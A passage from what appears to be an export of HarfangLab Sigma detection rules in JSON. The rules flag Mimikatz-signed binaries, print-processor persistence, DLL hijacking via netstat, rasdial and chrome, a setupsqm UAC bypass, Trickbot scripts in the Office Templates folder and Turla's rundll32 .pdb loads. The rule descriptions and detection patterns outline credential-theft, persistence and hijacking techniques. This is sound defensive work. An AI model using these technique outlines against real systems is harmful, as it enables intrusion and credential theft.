+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.604492Z",
+  "creation_date": "2026-03-23T11:45:34.604496Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.604503Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/gentilkiwi/mimikatz"
+  ],
+  "name": "gentilkiwi_signed_tool.yml",
+  "content": "title: Gentilkiwi Signed Tool Executed\nid: 541b8dbb-5c51-45c6-a1c0-c427bc3f566d\ndescription: |\n    Detects the execution of a binary signed by gentilkiwi.\n    Gentilkiwi is a developer known for developing popular offensive security tooling, such as Mimikatz, which focuses on credential access and lateral movement.\n    It is recommended to determine if this tooling is expected in your environment at this time, for instance, in the case of a security audit. If not, investigate activity around this action to determine maliciousness.\nreferences:\n    - https://github.com/gentilkiwi/mimikatz\ndate: 2021/03/03\nmodified: 2025/03/31\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1003.001\n    - attack.t1078\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.HackTool.Mimikatz\n    - classification.Windows.Behavior.CredentialAccess\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        Signature|contains: 'Open Source Developer, Benjamin Delpy'\n\n    condition: selection\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "541b8dbb-5c51-45c6-a1c0-c427bc3f566d",
+  "rule_name": "Gentilkiwi Signed Tool Executed",
+  "rule_description": "Detects the execution of a binary signed by gentilkiwi.\nGentilkiwi is a developer known for developing popular offensive security tooling, such as Mimikatz, which focuses on credential access and lateral movement.\nIt is recommended to determine if this tooling is expected in your environment at this time, for instance, in the case of a security audit. If not, investigate activity around this action to determine maliciousness.\n",
+  "rule_creation_date": "2021-03-03",
+  "rule_modified_date": "2025-03-31",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003.001",
+    "attack.t1078"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "544c6c30-5199-4f81-849a-17bf35c61857",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.075498Z",
+  "creation_date": "2026-03-23T11:45:34.075500Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.075504Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1547/012/"
+  ],
+  "name": "t1547_012_persistence_registry_print_processors.yml",
+  "content": "title: Print Processor Persistence Added\nid: 544c6c30-5199-4f81-849a-17bf35c61857\ndescription: |\n    Detects the installation of a new Print Processor on the system.\n    Print Processors are DLLs that are loaded by the print spooler service at startup, with local admin privileges.\n    Adversaries can register a malicious Print Processor to establish persistence, as the registered DLL will be loaded in spoolsv.exe whenever the system starts.\n    It is recommended to investigate the registered DLL located in the Processor Directory (usually \"C:\\Windows\\system32\\spool\\PRTPROCS\\x64\").\nreferences:\n    - https://attack.mitre.org/techniques/T1547/012/\ndate: 2024/08/24\nmodified: 2025/02/20\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1547.012\n    - attack.t1112\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.PrintSpooler\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        TargetObject: 'HKLM\\SYSTEM\\\\*ControlSet*\\Control\\Print\\Environments\\Windows*\\Print Processors\\\\*'\n        EventType: 'SetValue'\n\n    filter_empty:\n        Details:\n            - ''\n            - '(empty)'\n\n    filter_spoolsv:\n        ProcessImage: '?:\\Windows\\System32\\spoolsv.exe'\n\n    exclusion_applidis:\n        Details: 'AdisPrintProcessor64.dll'\n        ProcessSigned: 'true'\n        ProcessImage:\n            - '?:\\Program Files (x86)\\Systancia\\AppliDis\\AppliDis Serveur\\bin\\Printer\\AddClearUPrinter.exe'\n            - '?:\\Program Files\\Systancia\\AppliDis\\AppliDis Serveur\\bin\\Printer\\AddClearUPrinter.exe'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "544c6c30-5199-4f81-849a-17bf35c61857",
+  "rule_name": "Print Processor Persistence Added",
+  "rule_description": "Detects the installation of a new Print Processor on the system.\nPrint Processors are DLLs that are loaded by the print spooler service at startup, with local admin privileges.\nAdversaries can register a malicious Print Processor to establish persistence, as the registered DLL will be loaded in spoolsv.exe whenever the system starts.\nIt is recommended to investigate the registered DLL located in the Processor Directory (usually \"C:\\Windows\\system32\\spool\\PRTPROCS\\x64\").\n",
+  "rule_creation_date": "2024-08-24",
+  "rule_modified_date": "2025-02-20",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1112",
+    "attack.t1547.012"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "5458adb2-cb54-4163-a842-5b08a8b9f5de",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.078881Z",
+  "creation_date": "2026-03-23T11:45:34.078884Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.078888Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_netstat.yml",
+  "content": "title: DLL Hijacking via netstat.exe\nid: 5458adb2-cb54-4163-a842-5b08a8b9f5de\ndescription: |\n    Detects potential Windows DLL Hijacking via netstat.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'netstat.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\IPHLPAPI.DLL'\n            - '\\snmpapi.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "5458adb2-cb54-4163-a842-5b08a8b9f5de",
+  "rule_name": "DLL Hijacking via netstat.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via netstat.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "545a880e-352c-4108-bf6a-4ac36129b177",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.084551Z",
+  "creation_date": "2026-03-23T11:45:34.084553Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.084557Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "http://www.labofapenetrationtester.com/2015/09/bypassing-uac-with-powershell.html"
+  ],
+  "name": "t1548_002_uac_bypass_setupsqm.yml",
+  "content": "title: UAC Bypass Executed via setupsqm.exe\nid: 545a880e-352c-4108-bf6a-4ac36129b177\ndescription: |\n    Detects the setupsqm.exe process loading an unsigned wdscore.dll, which may be indicative of an UAC bypass.\n    Adversaries may bypass UAC mechanisms to elevate process privileges on system.\n    Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation.\n    It is recommended to analyze the loaded DLL and user session responsible to look for malicious content or actions.\nreferences:\n    - http://www.labofapenetrationtester.com/2015/09/bypassing-uac-with-powershell.html\ndate: 2020/09/18\nmodified: 2025/04/10\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - attack.t1548.002\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.UACBypass\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        Image|endswith: '\\Windows\\System32\\oobe\\setupsqm.exe'\n        ImageLoaded: '*\\Windows\\System32\\oobe\\wdscore.dll'\n\n    filter_signed:\n        Signed: 'true'\n        Signature:\n            - 'Microsoft Windows'\n            - 'Microsoft Corporation'\n            - 'Microsoft Windows Publisher'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "545a880e-352c-4108-bf6a-4ac36129b177",
+  "rule_name": "UAC Bypass Executed via setupsqm.exe",
+  "rule_description": "Detects the setupsqm.exe process loading an unsigned wdscore.dll, which may be indicative of an UAC bypass.\nAdversaries may bypass UAC mechanisms to elevate process privileges on system.\nWindows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation.\nIt is recommended to analyze the loaded DLL and user session responsible to look for malicious content or actions.\n",
+  "rule_creation_date": "2020-09-18",
+  "rule_modified_date": "2025-04-10",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1548.002",
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "5467392a-8c65-4290-9a1d-1c185c05f1fb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.608305Z",
+  "creation_date": "2026-03-23T11:45:34.608308Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.608315Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://threatresearch.ext.hp.com/deobfuscating-ostap-trickbots-javascript-downloader/",
+    "https://attack.mitre.org/techniques/T1204/002/",
+    "https://attack.mitre.org/techniques/T1059/"
+  ],
+  "name": "t1204_002_suspicious_script_execution_officer_templates_folder.yml",
+  "content": "title: Suspicious Script Execution from Office Templates Folder\nid: 5467392a-8c65-4290-9a1d-1c185c05f1fb\ndescription: |\n    Detects the execution of suspicious Windows scripts located in the Office templates folder.\n    This technique was used by Trickbot to deploy OSTAP backdoor by dropping the JScript downloader in \"%AppData%\\Microsoft\\Templates\".\n    It is recommended to investigate the activity performed by the process and the content of the script.\nreferences:\n    - https://threatresearch.ext.hp.com/deobfuscating-ostap-trickbots-javascript-downloader/\n    - https://attack.mitre.org/techniques/T1204/002/\n    - https://attack.mitre.org/techniques/T1059/\ndate: 2023/12/14\nmodified: 2025/01/29\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1204.002\n    - attack.t1059\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.InitialAccess\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        OriginalFileName:\n            - 'wscript.exe'\n            - 'cscript.exe'\n        CommandLine|contains: '\\Microsoft\\Templates\\'\n\n    condition: selection\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "5467392a-8c65-4290-9a1d-1c185c05f1fb",
+  "rule_name": "Suspicious Script Execution from Office Templates Folder",
+  "rule_description": "Detects the execution of suspicious Windows scripts located in the Office templates folder.\nThis technique was used by Trickbot to deploy OSTAP backdoor by dropping the JScript downloader in \"%AppData%\\Microsoft\\Templates\".\nIt is recommended to investigate the activity performed by the process and the content of the script.\n",
+  "rule_creation_date": "2023-12-14",
+  "rule_modified_date": "2025-01-29",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059",
+    "attack.t1204.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "548f2354-2b4d-4812-b5b4-b02aed0f2c12",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.098508Z",
+  "creation_date": "2026-03-23T11:45:34.098510Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.098514Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_rasdial.yml",
+  "content": "title: DLL Hijacking via rasdial.exe\nid: 548f2354-2b4d-4812-b5b4-b02aed0f2c12\ndescription: |\n    Detects potential Windows DLL Hijacking via rasdial.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'rasdial.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\RASAPI32.dll'\n            - '\\rasman.dll'\n            - '\\rtutils.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "548f2354-2b4d-4812-b5b4-b02aed0f2c12",
+  "rule_name": "DLL Hijacking via rasdial.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via rasdial.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "54a59f85-d6f9-44be-80d9-753a6566f57d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.079100Z",
+  "creation_date": "2026-03-23T11:45:34.079102Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.079107Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://wietze.github.io/blog/save-the-environment-variables",
+    "https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_chrome.yml",
+  "content": "title: DLL Hijacking via chrome.exe\nid: 54a59f85-d6f9-44be-80d9-753a6566f57d\ndescription: |\n    Detects potential Windows DLL Hijacking via chrome.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://wietze.github.io/blog/save-the-environment-variables\n    - https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/10/16\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'chrome.exe'\n        ProcessSignature: 'Google LLC'\n        ImageLoaded|endswith:\n            - '\\dataexchange.dll'\n            - '\\explorerframe.dll'\n            - '\\mswsock.dll'\n            - '\\ntmarta.dll'\n            - '\\propsys.dll'\n            - '\\windows.storage.dll'\n            - '\\dwmapi.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Program Files (x86)\\Google\\Chrome\\Application\\'\n            - '?:\\Program Files (x86)\\Microsoft Office\\root\\Office*\\'\n            - '?:\\Program Files (x86)\\Microsoft\\Edge\\Application\\'\n            - '?:\\Program Files (x86)\\Mozilla Firefox\\'\n            - '?:\\Program Files\\Google\\Chrome\\Application\\'\n            - '?:\\Program Files\\Microsoft Office\\root\\Office*\\'\n            - '?:\\Program Files\\Microsoft\\Edge\\Application\\'\n            - '?:\\Program Files\\Mozilla Firefox\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "54a59f85-d6f9-44be-80d9-753a6566f57d",
+  "rule_name": "DLL Hijacking via chrome.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via chrome.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-10-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "54a90583-1d04-484b-a12c-b7e9d9a557ed",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.627810Z",
+  "creation_date": "2026-03-23T11:45:34.627812Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.627817Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf",
+    "https://attack.mitre.org/techniques/T1218/011/"
+  ],
+  "name": "t1218_011_suspicious_pdb_rundll.yml",
+  "content": "title: Suspicious DLL with a Program Database Extension Loaded via RunDLL32\nid: 54a90583-1d04-484b-a12c-b7e9d9a557ed\ndescription: |\n    Detects a suspicious DLL load with a .pdb extension.\n    This command is seen in Turla's Mosquito malware, which is commonly delivered through spearphishing attachments.\n    The malware will place a DLL file with a \".pdb\" extension at a random or deep path in %APPDATA% and use RunDLL32.exe to load it.\n    It is recommended to investigate the loaded pdb file, as well as other actions taken by the parent process.\nreferences:\n    - https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf\n    - https://attack.mitre.org/techniques/T1218/011/\ndate: 2022/12/06\nmodified: 2025/01/29\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1218.011\n    - attack.initial_access\n    - attack.t1566.001\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.Rundll32\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.ProxyExecution\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_bin:\n        - Image|endswith: '\\rundll32.exe'\n        - OriginalFileName: 'RUNDLL32.EXE'\n\n    selection_cmd:\n        CommandLine|contains: '.pdb'\n\n    # This filter prevents false positives such as:\n    # rundll32 toto.dll,function file.pdb\n    filter_later_pdb:\n        CommandLine|contains: '.dll* 